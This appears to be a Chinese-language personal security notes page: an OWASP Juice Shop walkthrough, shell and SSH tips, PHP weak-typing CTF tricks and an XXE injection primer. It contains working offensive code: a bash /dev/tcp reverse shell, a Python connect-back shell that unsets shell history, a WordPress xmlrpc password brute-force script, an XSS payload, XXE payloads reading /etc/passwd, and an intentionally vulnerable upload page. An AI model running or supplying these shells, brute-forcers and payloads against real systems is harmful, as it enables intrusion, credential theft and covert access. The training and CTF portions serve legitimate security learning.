OWASP Juice Shop Training Note

About

OWASP Juice Shop由一个由OWASP官方开发与维护,存在48个漏洞的开源Web训练靶场。

Install

官方给出多种部署方法,笔者认为最简单的方式是通过docker直接下载镜像。方法如下:

docker pull bkimminich/juice-shop
docker run -d -p 3000:3000 bkimminich/juice-shop

Start Hacking

http://ip/#/score-board是隐藏的漏洞记分板,每当你成功找到一个漏洞,记分板都会将该漏洞状态更新为solved

  • Score Board-Find the carefully hidden 'Score Board' page.
    找到记分板,访问URI/#/score-board成功得分。

  • Error Handling-Provoke an error that is not very gracefully handled.
    在登录框输入单引号,得到报错。

Screen Shot 2017-10-31 at 23.43.30.png

  • XSS Tier 1-Perform a reflected XSS attack with <script>alert("XSS1")</script>
    在搜索框输入语句<script>alert("XSS1")</script>

Screen Shot 2017-10-31 at 23.48.59.png

Tips & Tricks

SSH keep alive

Server side:
sudo vim /etc/ssh/sshd_config

ClientAliveInterval 60
ClientAliveCountMax 1

Client side:
sudo vim /etc/ssh/ssh_config

TCPKeepAlive yes
ServerAliveInterval 300

or

ssh -o TCPKeepAlive=yes -o ServerAliveInterval=300 root@tzuxung.com

all about shell

/bin/bash -i > /dev/tcp/192.168.0.10/4444 0>&1 2>&1
python -c 'import pty; pty.spawn("/bin/sh")'

探测大网络空间中的存活主机

nmap -v -sn -PE -n --min-hostgroup 1024 --min-parallelism 1024 -oX nmap_output.xml www.lijiejie.com/16

珍爱生命之msf一键安装脚本(macOS可用)

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall &&   chmod 755 msfinstall &&   ./msfinstall

Python reverse TTY Shell

#!/usr/bin/python
import sys
import os
import socket
import pty

shell = "/bin/sh"

def usage(programname):
    print "python connect-back door"
    print "Usage: %s host port" % programname
    
def main():
    if len(sys.argv) !=3:
        usage(sys.argv[0])
        sys.exit(1)
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
        s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))
        print "[+]Connect OK."
    except:
        print "[-]Can't connect"
        sys.exit(2)
        
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    global shell
    os.unsetenv("HISTFILE")
    os.unsetenv("HISTFILESIZE")
    pty.spawn(shell)
    s.close()
    
if __name__ == "__main__":
    main()

Wget 递归下载

wget -r -p -np -k http://news.qq.com/zt2017/applaud/index.htm

tools

Some scripts may used in pennetration...
Click here:http://me.tzuxung.com/tools/

1st: WordPress < 4.7.1 用户名遍历wp_Enumeration.jpg

2st: WordPress xmlrpc burte-force attack

<?php
$url = htmlspecialchars($_GET['url']);
$name = htmlspecialchars($_GET["name"]);
$pass = htmlspecialchars($_GET["pass"]);

$data="<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>
<methodCall>
  <methodName>wp.getUsersBlogs</methodName>
  <params>
   <param><value>$name</value></param>
   <param><value>$pass</value></param>
  </params>
</methodCall>";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,"http://".$url."/xmlrpc.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_exec($ch);
?>

PHP弱类型以及在CTF中的运用

Strongly or Weakly

所谓强类型(Strongly typed),顾名思义就是强制数据类型定义的语言。也就是说,一旦一个变量被指定了某个数据类型,如果不经过强制转换,那么它就永远是这个数据类型。Java、.NET、C++等都是强类型语言,在变量使用之前必须声明变量的类型和名称;且不经强制转换不允许两种不同类型的变量互相操作。
Java中如此声明变量和赋值:

int width;
width = 200;
int height;
height = 200;

而弱类型(Weakly typed)则是直接使用变量,无需指明它保存的数据类型,如PHP中:

$name = 'tzuxung';
$num = 12345;
$str = '12345';

== 在进行比较的时候,会先将字符转数据,字符转数字(转换直到遇到一个非数字的字符,即使出现无法转换的字符串,intval()也不会报错而是返回0)。
=== 在比较的时候,首先判断两个变量类型是否一样,是则进行比较,反之直接返回0。

下面这段代码中,在"admin"==0比较的时候,会将admin这个字符串当作int来取值,并且这个字符串首尾不是数值,因此被转化为0;在"0e123456"=="0e456789"相互比较的时候,会将0e这类字符串识别为科学计数法的数字,0的n次方都是0,所以相等。

<?php
var_dump("admin"==0);  //true
var_dump("1admin"==1); //true
var_dump("admin1"==1) //false
var_dump("admin1"==0) //true
var_dump("0e123456"=="0e4456789"); //true 
?> 

弱类型在CTF中的运用

strcmp字符串比较

define('FLAG', 'pwnhub{THIS_IS_FLAG}');
if (strcmp($_GET['flag'], FLAG) == 0) {
 echo "success, flag:" . FLAG;
}

如果 str1 小于 str2 返回 <0; 如果 str1 大于 str2 返回 >0;如果两者相等,返回0
strcmp比较出错 ⇒ 返回NULL ⇒ NULL == 0 ⇒ Get Flag!

字符串比较升级版

<?php
$flag = 'xxxxxxxxxxxxx';
if (isset($_GET['name']) and isset($_GET['password'])) 
{
    if ($_GET['name'] == $_GET['password'])
        echo '<p>Your password can not be your name!</p>';
    else if (sha1($_GET['name']) === sha1($_GET['password']))
      die('Flag: '.$flag);
    else
        echo '<p>Invalid password.</p>';
}
else
    echo '<p>Login first!</p>';
?>

payload为?name[]=a&password[]=b
sha1()和md5()默认传入的参数是string,需要构造username和password既不相等,又同样是数组类型

XXE Injection初探

0x00 Introduction
XXE Injection,全称XML External Entity Injection,中文名叫XML外部实体注入攻击。该漏洞是在对非安全的外部实体数据进行处理时引发的安全问题。
XML是一种用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。在XML1.0标准里,XML文档结构里定义了实体(entity)这个概念。实体可以通过预定义在文档中调用,实体的标识符可访问本地或远程内容。如果在这个过程中引入了”恶意”源,在对XML文档处理后则可能导致信息泄漏等安全问题。

0x01 Injection
在用户可控的XML数据里面将恶意内容写入到实体(entity)中,即可导致任意文件读取、系统命令执行等危害。
测试是否允许外部实体引用:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root[
<!ELEMENT root (data)>
<!ELEMENT data (#PCDATA)>
<!ENTITY var "tzuxung">
]>
<root>
    <data>&var;</data>
</root>

任意文件读取:

 <?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root[
<!ELEMENT root (data)>
<!ELEMENT data (#PCDATA)>
<!ENTITY var SYSTEM "file:///etc/passwd">
]>
<root>
    <data>&var;</data>
</root>

通过php://filter读取:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root[
<!ELEMENT root (data)>
<!ELEMENT data (#PCDATA)>
<!ENTITY var SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/xxe.php">
]>
<root>
    <data>&var;</data>
</root>

0x02 Code
xxe.php是一个存在XXE注入漏洞的简单页面

<html>
<body>
<h1>XXE Example</h1>
<form method="post" enctype="multipart/form-data">
    <label for="file">XML File:</label>
    <input type="file" name="file" id="file">
    <input type="submit" name="submit" value="Upload">
</form>

<h1>Result</h1>
<?php
    if( isset($_FILES["file"])){
        $doc = new DOMDocument();
        $doc->validateOnParse = true;
        $doc->Load($_FILES["file"]["tmp_name"]);
        $tags = $doc->getElementsByTagName("data");
        foreach($tags as $tag) {
            echo "<pre>" . $tag->nodeValue . "</pre>\n";
        }

    } else {
        echo "<h3>No file was selected for upload.</h3>";
    }
?>
</body>
</html>

0x03 Reference
未知攻焉知防——XEE漏洞攻防
XXE - Xml eXternal Entity